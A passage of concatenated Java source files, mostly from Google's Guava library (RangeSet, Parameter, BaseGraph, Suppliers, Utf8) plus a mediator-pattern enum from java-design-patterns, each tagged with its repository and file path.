attempt to {@linkplain * #add(Range) add} any range not {@linkplain Range#encloses(Range) enclosed} by {@code view}. */ RangeSet<C> subRangeSet(Range<C> view); // Modification /** * Adds the specified range to this {@code RangeSet} (optional operation). That is, for equal * range sets a and b, the result of {@code a.add(range)} is that {@code a} will be the minimal * range set for which both {@code a.enclosesAll(b)} and {@code a.encloses(range)}. * * <p>Note that {@code range} will be {@linkplain Range#span(Range) coalesced} with any ranges in * the range set that are {@linkplain Range#isConnected(Range) connected} with it. Moreover, if * {@code range} is empty, this is a no-op. * * @throws UnsupportedOperationException if this range set does not support the {@code add} * operation */ void add(Range<C> range); /** * Removes the specified range from this {@code RangeSet} (optional operation). After this * operation, if {@code range.contains(c)}, {@code this.contains(c)} will return {@code false}. * * <p>If {@code range} is empty, this is a no-op. * * @throws UnsupportedOperationException if this range set does not support the {@code remove} * operation */ void remove(Range<C> range); /** * Removes all ranges from this {@code RangeSet} (optional operation). After this operation, * {@code this.contains(c)} will return false for all {@code c}. * * <p>This is equivalent to {@code remove(Range.all())}. * * @throws UnsupportedOperationException if this range set does not support the {@code clear} * operation */ void clear(); /** * Adds all of the ranges from the specified range set to this range set (optional operation). * After this operation, this range set is the minimal range set that {@linkplain * #enclosesAll(RangeSet) encloses} both the original range set and {@code other}. * * <p>This is equivalent to calling {@link #add} on each of the ranges in {@code other} in turn. * * @throws UnsupportedOperationException if this range set does not support the {@code addAll} * operation */ void addAll(RangeSet<C> other); /** * Adds all of the specified ranges to this range set (optional operation). After this operation, * this range set is the minimal range set that {@linkplain #enclosesAll(RangeSet) encloses} both * the original range set and each range in {@code other}. * * <p>This is equivalent to calling {@link #add} on each of the ranges in {@code other} in turn. * * @throws UnsupportedOperationException if this range set does not support the {@code addAll} * operation * @since 21.0 */ default void addAll(Iterable<Range<C>> ranges) { for (Range<C> range : ranges) { add(range); } } /** * Removes all of the ranges from the specified range set from this range set (optional * operation). After this operation, if {@code other.contains(c)}, {@code this.contains(c)} will * return {@code false}. * * <p>This is equivalent to calling {@link #remove} on each of the ranges in {@code other} in * turn. * * @throws UnsupportedOperationException if this range set does not support the {@code removeAll} * operation */ void removeAll(RangeSet<C> other); /** * Removes all of the specified ranges from this range set (optional operation). * * <p>This is equivalent to calling {@link #remove} on each of the ranges in {@code other} in * turn. * * @throws UnsupportedOperationException if this range set does not support the {@code removeAll} * operation * @since 21.0 */ default void removeAll(Iterable<Range<C>> ranges) { for (Range<C> range : ranges) { remove(range); } } // Object methods /** * Returns {@code true} if {@code obj} is another {@code RangeSet} that contains the same ranges * according to {@link Range#equals(Object)}. */ @Override boolean equals(@CheckForNull Object obj); /** Returns {@code asRanges().hashCode()}. */ @Override int hashCode(); /** * Returns a readable string representation of this range set. For example, if this {@code * RangeSet} consisted of {@code Range.closed(1, 3)} and {@code Range.greaterThan(4)}, this might * return {@code " [1..3](4..+∞)}"}. */ @Override String toString(); }
google/guava
guava/src/com/google/common/collect/RangeSet.java
360
/* * Copyright (C) 2012 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.reflect; import static com.google.common.base.Preconditions.checkNotNull; import static java.util.Objects.requireNonNull; import com.google.common.collect.FluentIterable; import com.google.common.collect.ImmutableList; import java.lang.annotation.Annotation; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.AnnotatedType; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Represents a method or constructor parameter. * * @author Ben Yu * @since 14.0 */ @ElementTypesAreNonnullByDefault public final class Parameter implements AnnotatedElement { private final Invokable<?, ?> declaration; private final int position; private final TypeToken<?> type; private final ImmutableList<Annotation> annotations; /** * An {@code AnnotatedType} instance, or {@code null} under Android VMs (possible only when using * the Android flavor of Guava). The field is declared with a type of {@code Object} to avoid * compatibility problems on Android VMs. The corresponding accessor method, however, can have the * more specific return type as long as users are careful to guard calls to it with version checks * or reflection: Android VMs ignore the types of elements that aren't used. */ private final @Nullable Object annotatedType; Parameter( Invokable<?, ?> declaration, int position, TypeToken<?> type, Annotation[] annotations, @Nullable Object annotatedType) { this.declaration = declaration; this.position = position; this.type = type; this.annotations = ImmutableList.copyOf(annotations); this.annotatedType = annotatedType; } /** Returns the type of the parameter. */ public TypeToken<?> getType() { return type; } /** Returns the {@link Invokable} that declares this parameter. */ public Invokable<?, ?> getDeclaringInvokable() { return declaration; } @Override public boolean isAnnotationPresent(Class<? extends Annotation> annotationType) { return getAnnotation(annotationType) != null; } @Override @CheckForNull public <A extends Annotation> A getAnnotation(Class<A> annotationType) { checkNotNull(annotationType); for (Annotation annotation : annotations) { if (annotationType.isInstance(annotation)) { return annotationType.cast(annotation); } } return null; } @Override public Annotation[] getAnnotations() { return getDeclaredAnnotations(); } /** * @since 18.0 */ @Override public <A extends Annotation> A[] getAnnotationsByType(Class<A> annotationType) { return getDeclaredAnnotationsByType(annotationType); } /** @since 18.0 */ @Override public Annotation[] getDeclaredAnnotations() { return annotations.toArray(new Annotation[0]); } /** * @since 18.0 */ @Override @CheckForNull public <A extends Annotation> A getDeclaredAnnotation(Class<A> annotationType) { checkNotNull(annotationType); return FluentIterable.from(annotations).filter(annotationType).first().orNull(); } /** * @since 18.0 */ @Override public <A extends Annotation> A[] getDeclaredAnnotationsByType(Class<A> annotationType) { @Nullable A[] result = FluentIterable.from(annotations).filter(annotationType).toArray(annotationType); @SuppressWarnings("nullness") // safe because the input list contains no nulls A[] cast = (A[]) result; return cast; } /** * Returns the {@link AnnotatedType} of the parameter. * * @since 25.1 for guava-jre */ @SuppressWarnings("Java7ApiChecker") public AnnotatedType getAnnotatedType() { return requireNonNull((AnnotatedType) annotatedType); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof Parameter) { Parameter that = (Parameter) obj; return position == that.position && declaration.equals(that.declaration); } return false; } @Override public int hashCode() { return position; } @Override public String toString() { return type + " arg" + position; } }
google/guava
guava/src/com/google/common/reflect/Parameter.java
361
/* * Copyright (C) 2017 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.graph; import java.util.Set; /** * A non-public interface for the methods shared between {@link Graph} and {@link ValueGraph}. * * @author James Sexton * @param <N> Node parameter type */ @ElementTypesAreNonnullByDefault interface BaseGraph<N> extends SuccessorsFunction<N>, PredecessorsFunction<N> { // // Graph-level accessors // /** Returns all nodes in this graph, in the order specified by {@link #nodeOrder()}. */ Set<N> nodes(); /** Returns all edges in this graph. */ Set<EndpointPair<N>> edges(); // // Graph properties // /** * Returns true if the edges in this graph are directed. Directed edges connect a {@link * EndpointPair#source() source node} to a {@link EndpointPair#target() target node}, while * undirected edges connect a pair of nodes to each other. */ boolean isDirected(); /** * Returns true if this graph allows self-loops (edges that connect a node to itself). Attempting * to add a self-loop to a graph that does not allow them will throw an {@link * IllegalArgumentException}. */ boolean allowsSelfLoops(); /** Returns the order of iteration for the elements of {@link #nodes()}. */ ElementOrder<N> nodeOrder(); /** * Returns an {@link ElementOrder} that specifies the order of iteration for the elements of * {@link #edges()}, {@link #adjacentNodes(Object)}, {@link #predecessors(Object)}, {@link * #successors(Object)} and {@link #incidentEdges(Object)}. * * @since 29.0 */ ElementOrder<N> incidentEdgeOrder(); // // Element-level accessors // /** * Returns a live view of the nodes which have an incident edge in common with {@code node} in * this graph. * * <p>This is equal to the union of {@link #predecessors(Object)} and {@link #successors(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ Set<N> adjacentNodes(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s incoming edges <i>against</i> the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> predecessors(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s outgoing edges in the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>This is <i>not</i> the same as "all nodes reachable from {@code node} by following outgoing * edges". For that functionality, see {@link Graphs#reachableNodes(Graph, Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> successors(N node); /** * Returns a live view of the edges in this graph whose endpoints include {@code node}. * * <p>This is equal to the union of incoming and outgoing edges. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph * @since 24.0 */ Set<EndpointPair<N>> incidentEdges(N node); /** * Returns the count of {@code node}'s incident edges, counting self-loops twice (equivalently, * the number of times an edge touches {@code node}). * * <p>For directed graphs, this is equal to {@code inDegree(node) + outDegree(node)}. * * <p>For undirected graphs, this is equal to {@code incidentEdges(node).size()} + (number of * self-loops incident to {@code node}). * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ int degree(N node); /** * Returns the count of {@code node}'s incoming edges (equal to {@code predecessors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ int inDegree(N node); /** * Returns the count of {@code node}'s outgoing edges (equal to {@code successors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ int outDegree(N node); /** * Returns true if there is an edge that directly connects {@code nodeU} to {@code nodeV}. This is * equivalent to {@code nodes().contains(nodeU) && successors(nodeU).contains(nodeV)}. * * <p>In an undirected graph, this is equal to {@code hasEdgeConnecting(nodeV, nodeU)}. * * @since 23.0 */ boolean hasEdgeConnecting(N nodeU, N nodeV); /** * Returns true if there is an edge that directly connects {@code endpoints} (in the order, if * any, specified by {@code endpoints}). This is equivalent to {@code * edges().contains(endpoints)}. * * <p>Unlike the other {@code EndpointPair}-accepting methods, this method does not throw if the * endpoints are unordered; it simply returns false. This is for consistency with the behavior of * {@link Collection#contains(Object)} (which does not generally throw if the object cannot be * present in the collection), and the desire to have this method's behavior be compatible with * {@code edges().contains(endpoints)}. * * @since 27.1 */ boolean hasEdgeConnecting(EndpointPair<N> endpoints); }
google/guava
android/guava/src/com/google/common/graph/BaseGraph.java
362
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.base; import static com.google.common.base.Internal.toNanosSaturated; import static com.google.common.base.NullnessCasts.uncheckedCastNullableTToT; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.Beta; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.annotations.VisibleForTesting; import java.io.Serializable; import java.time.Duration; import java.util.concurrent.TimeUnit; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Useful suppliers. * * <p>All methods return serializable suppliers as long as they're given serializable parameters. * * @author Laurence Gonsalves * @author Harry Heymann * @since 2.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Suppliers { private Suppliers() {} /** * Returns a new supplier which is the composition of the provided function and supplier. In other * words, the new supplier's value will be computed by retrieving the value from {@code supplier}, * and then applying {@code function} to that value. Note that the resulting supplier will not * call {@code supplier} or invoke {@code function} until it is called. */ public static <F extends @Nullable Object, T extends @Nullable Object> Supplier<T> compose( Function<? super F, T> function, Supplier<F> supplier) { return new SupplierComposition<>(function, supplier); } private static class SupplierComposition<F extends @Nullable Object, T extends @Nullable Object> implements Supplier<T>, Serializable { final Function<? super F, T> function; final Supplier<F> supplier; SupplierComposition(Function<? super F, T> function, Supplier<F> supplier) { this.function = checkNotNull(function); this.supplier = checkNotNull(supplier); } @Override @ParametricNullness public T get() { return function.apply(supplier.get()); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof SupplierComposition) { SupplierComposition<?, ?> that = (SupplierComposition<?, ?>) obj; return function.equals(that.function) && supplier.equals(that.supplier); } return false; } @Override public int hashCode() { return Objects.hashCode(function, supplier); } @Override public String toString() { return "Suppliers.compose(" + function + ", " + supplier + ")"; } private static final long serialVersionUID = 0; } /** * Returns a supplier which caches the instance retrieved during the first call to {@code get()} * and returns that value on subsequent calls to {@code get()}. See: <a * href="http://en.wikipedia.org/wiki/Memoization">memoization</a> * * <p>The returned supplier is thread-safe. The delegate's {@code get()} method will be invoked at * most once unless the underlying {@code get()} throws an exception. The supplier's serialized * form does not contain the cached value, which will be recalculated when {@code get()} is called * on the deserialized instance. * * <p>When the underlying delegate throws an exception then this memoizing supplier will keep * delegating calls until it returns valid data. * * <p>If {@code delegate} is an instance created by an earlier call to {@code memoize}, it is * returned directly. */ public static <T extends @Nullable Object> Supplier<T> memoize(Supplier<T> delegate) { if (delegate instanceof NonSerializableMemoizingSupplier || delegate instanceof MemoizingSupplier) { return delegate; } return delegate instanceof Serializable ? new MemoizingSupplier<T>(delegate) : new NonSerializableMemoizingSupplier<T>(delegate); } @VisibleForTesting static class MemoizingSupplier<T extends @Nullable Object> implements Supplier<T>, Serializable { final Supplier<T> delegate; transient volatile boolean initialized; // "value" does not need to be volatile; visibility piggy-backs // on volatile read of "initialized". @CheckForNull transient T value; MemoizingSupplier(Supplier<T> delegate) { this.delegate = checkNotNull(delegate); } @Override @ParametricNullness public T get() { // A 2-field variant of Double Checked Locking. if (!initialized) { synchronized (this) { if (!initialized) { T t = delegate.get(); value = t; initialized = true; return t; } } } // This is safe because we checked `initialized`. return uncheckedCastNullableTToT(value); } @Override public String toString() { return "Suppliers.memoize(" + (initialized ? "<supplier that returned " + value + ">" : delegate) + ")"; } private static final long serialVersionUID = 0; } @VisibleForTesting static class NonSerializableMemoizingSupplier<T extends @Nullable Object> implements Supplier<T> { @SuppressWarnings("UnnecessaryLambda") // Must be a fixed singleton object private static final Supplier<Void> SUCCESSFULLY_COMPUTED = () -> { throw new IllegalStateException(); // Should never get called. }; private volatile Supplier<T> delegate; // "value" does not need to be volatile; visibility piggy-backs on volatile read of "delegate". @CheckForNull private T value; NonSerializableMemoizingSupplier(Supplier<T> delegate) { this.delegate = checkNotNull(delegate); } @Override @ParametricNullness @SuppressWarnings("unchecked") // Cast from Supplier<Void> to Supplier<T> is always valid public T get() { // Because Supplier is read-heavy, we use the "double-checked locking" pattern. if (delegate != SUCCESSFULLY_COMPUTED) { synchronized (this) { if (delegate != SUCCESSFULLY_COMPUTED) { T t = delegate.get(); value = t; delegate = (Supplier<T>) SUCCESSFULLY_COMPUTED; return t; } } } // This is safe because we checked `delegate`. return uncheckedCastNullableTToT(value); } @Override public String toString() { Supplier<T> delegate = this.delegate; return "Suppliers.memoize(" + (delegate == SUCCESSFULLY_COMPUTED ? "<supplier that returned " + value + ">" : delegate) + ")"; } } /** * Returns a supplier that caches the instance supplied by the delegate and removes the cached * value after the specified time has passed. Subsequent calls to {@code get()} return the cached * value if the expiration time has not passed. After the expiration time, a new value is * retrieved, cached, and returned. See: <a * href="http://en.wikipedia.org/wiki/Memoization">memoization</a> * * <p>The returned supplier is thread-safe. The supplier's serialized form does not contain the * cached value, which will be recalculated when {@code get()} is called on the reserialized * instance. The actual memoization does not happen when the underlying delegate throws an * exception. * * <p>When the underlying delegate throws an exception then this memoizing supplier will keep * delegating calls until it returns valid data. * * @param duration the length of time after a value is created that it should stop being returned * by subsequent {@code get()} calls * @param unit the unit that {@code duration} is expressed in * @throws IllegalArgumentException if {@code duration} is not positive * @since 2.0 */ @SuppressWarnings("GoodTime") // Prefer the Duration overload public static <T extends @Nullable Object> Supplier<T> memoizeWithExpiration( Supplier<T> delegate, long duration, TimeUnit unit) { checkNotNull(delegate); checkArgument(duration > 0, "duration (%s %s) must be > 0", duration, unit); return new ExpiringMemoizingSupplier<>(delegate, unit.toNanos(duration)); } /** * Returns a supplier that caches the instance supplied by the delegate and removes the cached * value after the specified time has passed. Subsequent calls to {@code get()} return the cached * value if the expiration time has not passed. After the expiration time, a new value is * retrieved, cached, and returned. See: <a * href="http://en.wikipedia.org/wiki/Memoization">memoization</a> * * <p>The returned supplier is thread-safe. The supplier's serialized form does not contain the * cached value, which will be recalculated when {@code get()} is called on the reserialized * instance. The actual memoization does not happen when the underlying delegate throws an * exception. * * <p>When the underlying delegate throws an exception then this memoizing supplier will keep * delegating calls until it returns valid data. * * @param duration the length of time after a value is created that it should stop being returned * by subsequent {@code get()} calls * @throws IllegalArgumentException if {@code duration} is not positive * @since 33.1.0 */ @Beta // only until we're confident that Java 8+ APIs are safe for our Android users @J2ktIncompatible @GwtIncompatible // java.time.Duration @SuppressWarnings("Java7ApiChecker") // no more dangerous that wherever the user got the Duration @IgnoreJRERequirement public static <T extends @Nullable Object> Supplier<T> memoizeWithExpiration( Supplier<T> delegate, Duration duration) { checkNotNull(delegate); // The alternative of `duration.compareTo(Duration.ZERO) > 0` causes J2ObjC trouble. checkArgument( !duration.isNegative() && !duration.isZero(), "duration (%s) must be > 0", duration); return new ExpiringMemoizingSupplier<>(delegate, toNanosSaturated(duration)); } @VisibleForTesting @SuppressWarnings("GoodTime") // lots of violations static class ExpiringMemoizingSupplier<T extends @Nullable Object> implements Supplier<T>, Serializable { final Supplier<T> delegate; final long durationNanos; @CheckForNull transient volatile T value; // The special value 0 means "not yet initialized". transient volatile long expirationNanos; ExpiringMemoizingSupplier(Supplier<T> delegate, long durationNanos) { this.delegate = delegate; this.durationNanos = durationNanos; } @Override @ParametricNullness public T get() { // Another variant of Double Checked Locking. // // We use two volatile reads. We could reduce this to one by // putting our fields into a holder class, but (at least on x86) // the extra memory consumption and indirection are more // expensive than the extra volatile reads. long nanos = expirationNanos; long now = System.nanoTime(); if (nanos == 0 || now - nanos >= 0) { synchronized (this) { if (nanos == expirationNanos) { // recheck for lost race T t = delegate.get(); value = t; nanos = now + durationNanos; // In the very unlikely event that nanos is 0, set it to 1; // no one will notice 1 ns of tardiness. expirationNanos = (nanos == 0) ? 1 : nanos; return t; } } } // This is safe because we checked `expirationNanos`. return uncheckedCastNullableTToT(value); } @Override public String toString() { // This is a little strange if the unit the user provided was not NANOS, // but we don't want to store the unit just for toString return "Suppliers.memoizeWithExpiration(" + delegate + ", " + durationNanos + ", NANOS)"; } private static final long serialVersionUID = 0; } /** Returns a supplier that always supplies {@code instance}. */ public static <T extends @Nullable Object> Supplier<T> ofInstance( @ParametricNullness T instance) { return new SupplierOfInstance<>(instance); } private static class SupplierOfInstance<T extends @Nullable Object> implements Supplier<T>, Serializable { @ParametricNullness final T instance; SupplierOfInstance(@ParametricNullness T instance) { this.instance = instance; } @Override @ParametricNullness public T get() { return instance; } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof SupplierOfInstance) { SupplierOfInstance<?> that = (SupplierOfInstance<?>) obj; return Objects.equal(instance, that.instance); } return false; } @Override public int hashCode() { return Objects.hashCode(instance); } @Override public String toString() { return "Suppliers.ofInstance(" + instance + ")"; } private static final long serialVersionUID = 0; } /** * Returns a supplier whose {@code get()} method synchronizes on {@code delegate} before calling * it, making it thread-safe. */ public static <T extends @Nullable Object> Supplier<T> synchronizedSupplier( Supplier<T> delegate) { return new ThreadSafeSupplier<>(delegate); } private static class ThreadSafeSupplier<T extends @Nullable Object> implements Supplier<T>, Serializable { final Supplier<T> delegate; ThreadSafeSupplier(Supplier<T> delegate) { this.delegate = checkNotNull(delegate); } @Override @ParametricNullness public T get() { synchronized (delegate) { return delegate.get(); } } @Override public String toString() { return "Suppliers.synchronizedSupplier(" + delegate + ")"; } private static final long serialVersionUID = 0; } /** * Returns a function that accepts a supplier and returns the result of invoking {@link * Supplier#get} on that supplier. * * <p><b>Java 8+ users:</b> use the method reference {@code Supplier::get} instead. * * @since 8.0 */ public static <T extends @Nullable Object> Function<Supplier<T>, T> supplierFunction() { @SuppressWarnings("unchecked") // implementation is "fully variant" SupplierFunction<T> sf = (SupplierFunction<T>) SupplierFunctionImpl.INSTANCE; return sf; } private interface SupplierFunction<T extends @Nullable Object> extends Function<Supplier<T>, T> {} private enum SupplierFunctionImpl implements SupplierFunction<@Nullable Object> { INSTANCE; // Note: This makes T a "pass-through type" @Override @CheckForNull public Object apply(Supplier<@Nullable Object> input) { return input.get(); } @Override public String toString() { return "Suppliers.supplierFunction()"; } } }
google/guava
android/guava/src/com/google/common/base/Suppliers.java
363
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.mediator; import lombok.Getter; /** * Action enumeration. */ public enum Action { HUNT("hunted a rabbit", "arrives for dinner"), TALE("tells a tale", "comes to listen"), GOLD("found gold", "takes his share of the gold"), ENEMY("spotted enemies", "runs for cover"), NONE("", ""); private final String title; @Getter private final String description; Action(String title, String description) { this.title = title; this.description = description; } public String toString() { return title; } }
iluwatar/java-design-patterns
mediator/src/main/java/com/iluwatar/mediator/Action.java
364
/* * Copyright (C) 2013 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.base; import static com.google.common.base.Preconditions.checkPositionIndexes; import static java.lang.Character.MAX_SURROGATE; import static java.lang.Character.MIN_SURROGATE; import com.google.common.annotations.GwtCompatible; /** * Low-level, high-performance utility methods related to the {@linkplain Charsets#UTF_8 UTF-8} * character encoding. UTF-8 is defined in section D92 of <a * href="http://www.unicode.org/versions/Unicode6.2.0/ch03.pdf">The Unicode Standard Core * Specification, Chapter 3</a>. * * <p>The variant of UTF-8 implemented by this class is the restricted definition of UTF-8 * introduced in Unicode 3.1. One implication of this is that it rejects <a * href="http://www.unicode.org/versions/corrigendum1.html">"non-shortest form"</a> byte sequences, * even though the JDK decoder may accept them. * * @author Martin Buchholz * @author Clément Roux * @since 16.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Utf8 { /** * Returns the number of bytes in the UTF-8-encoded form of {@code sequence}. For a string, this * method is equivalent to {@code string.getBytes(UTF_8).length}, but is more efficient in both * time and space. * * @throws IllegalArgumentException if {@code sequence} contains ill-formed UTF-16 (unpaired * surrogates) */ public static int encodedLength(CharSequence sequence) { // Warning to maintainers: this implementation is highly optimized. int utf16Length = sequence.length(); int utf8Length = utf16Length; int i = 0; // This loop optimizes for pure ASCII. while (i < utf16Length && sequence.charAt(i) < 0x80) { i++; } // This loop optimizes for chars less than 0x800. for (; i < utf16Length; i++) { char c = sequence.charAt(i); if (c < 0x800) { utf8Length += ((0x7f - c) >>> 31); // branch free! } else { utf8Length += encodedLengthGeneral(sequence, i); break; } } if (utf8Length < utf16Length) { // Necessary and sufficient condition for overflow because of maximum 3x expansion throw new IllegalArgumentException( "UTF-8 length does not fit in int: " + (utf8Length + (1L << 32))); } return utf8Length; } private static int encodedLengthGeneral(CharSequence sequence, int start) { int utf16Length = sequence.length(); int utf8Length = 0; for (int i = start; i < utf16Length; i++) { char c = sequence.charAt(i); if (c < 0x800) { utf8Length += (0x7f - c) >>> 31; // branch free! } else { utf8Length += 2; // jdk7+: if (Character.isSurrogate(c)) { if (MIN_SURROGATE <= c && c <= MAX_SURROGATE) { // Check that we have a well-formed surrogate pair. if (Character.codePointAt(sequence, i) == c) { throw new IllegalArgumentException(unpairedSurrogateMsg(i)); } i++; } } } return utf8Length; } /** * Returns {@code true} if {@code bytes} is a <i>well-formed</i> UTF-8 byte sequence according to * Unicode 6.0. Note that this is a stronger criterion than simply whether the bytes can be * decoded. For example, some versions of the JDK decoder will accept "non-shortest form" byte * sequences, but encoding never reproduces these. Such byte sequences are <i>not</i> considered * well-formed. * * <p>This method returns {@code true} if and only if {@code Arrays.equals(bytes, new * String(bytes, UTF_8).getBytes(UTF_8))} does, but is more efficient in both time and space. */ public static boolean isWellFormed(byte[] bytes) { return isWellFormed(bytes, 0, bytes.length); } /** * Returns whether the given byte array slice is a well-formed UTF-8 byte sequence, as defined by * {@link #isWellFormed(byte[])}. Note that this can be false even when {@code * isWellFormed(bytes)} is true. * * @param bytes the input buffer * @param off the offset in the buffer of the first byte to read * @param len the number of bytes to read from the buffer */ public static boolean isWellFormed(byte[] bytes, int off, int len) { int end = off + len; checkPositionIndexes(off, end, bytes.length); // Look for the first non-ASCII character. for (int i = off; i < end; i++) { if (bytes[i] < 0) { return isWellFormedSlowPath(bytes, i, end); } } return true; } private static boolean isWellFormedSlowPath(byte[] bytes, int off, int end) { int index = off; while (true) { int byte1; // Optimize for interior runs of ASCII bytes. do { if (index >= end) { return true; } } while ((byte1 = bytes[index++]) >= 0); if (byte1 < (byte) 0xE0) { // Two-byte form. if (index == end) { return false; } // Simultaneously check for illegal trailing-byte in leading position // and overlong 2-byte form. if (byte1 < (byte) 0xC2 || bytes[index++] > (byte) 0xBF) { return false; } } else if (byte1 < (byte) 0xF0) { // Three-byte form. if (index + 1 >= end) { return false; } int byte2 = bytes[index++]; if (byte2 > (byte) 0xBF // Overlong? 5 most significant bits must not all be zero. || (byte1 == (byte) 0xE0 && byte2 < (byte) 0xA0) // Check for illegal surrogate codepoints. || (byte1 == (byte) 0xED && (byte) 0xA0 <= byte2) // Third byte trailing-byte test. || bytes[index++] > (byte) 0xBF) { return false; } } else { // Four-byte form. if (index + 2 >= end) { return false; } int byte2 = bytes[index++]; if (byte2 > (byte) 0xBF // Check that 1 <= plane <= 16. Tricky optimized form of: // if (byte1 > (byte) 0xF4 // || byte1 == (byte) 0xF0 && byte2 < (byte) 0x90 // || byte1 == (byte) 0xF4 && byte2 > (byte) 0x8F) || (((byte1 << 28) + (byte2 - (byte) 0x90)) >> 30) != 0 // Third byte trailing-byte test || bytes[index++] > (byte) 0xBF // Fourth byte trailing-byte test || bytes[index++] > (byte) 0xBF) { return false; } } } } private static String unpairedSurrogateMsg(int i) { return "Unpaired surrogate at index " + i; } private Utf8() {} }
google/guava
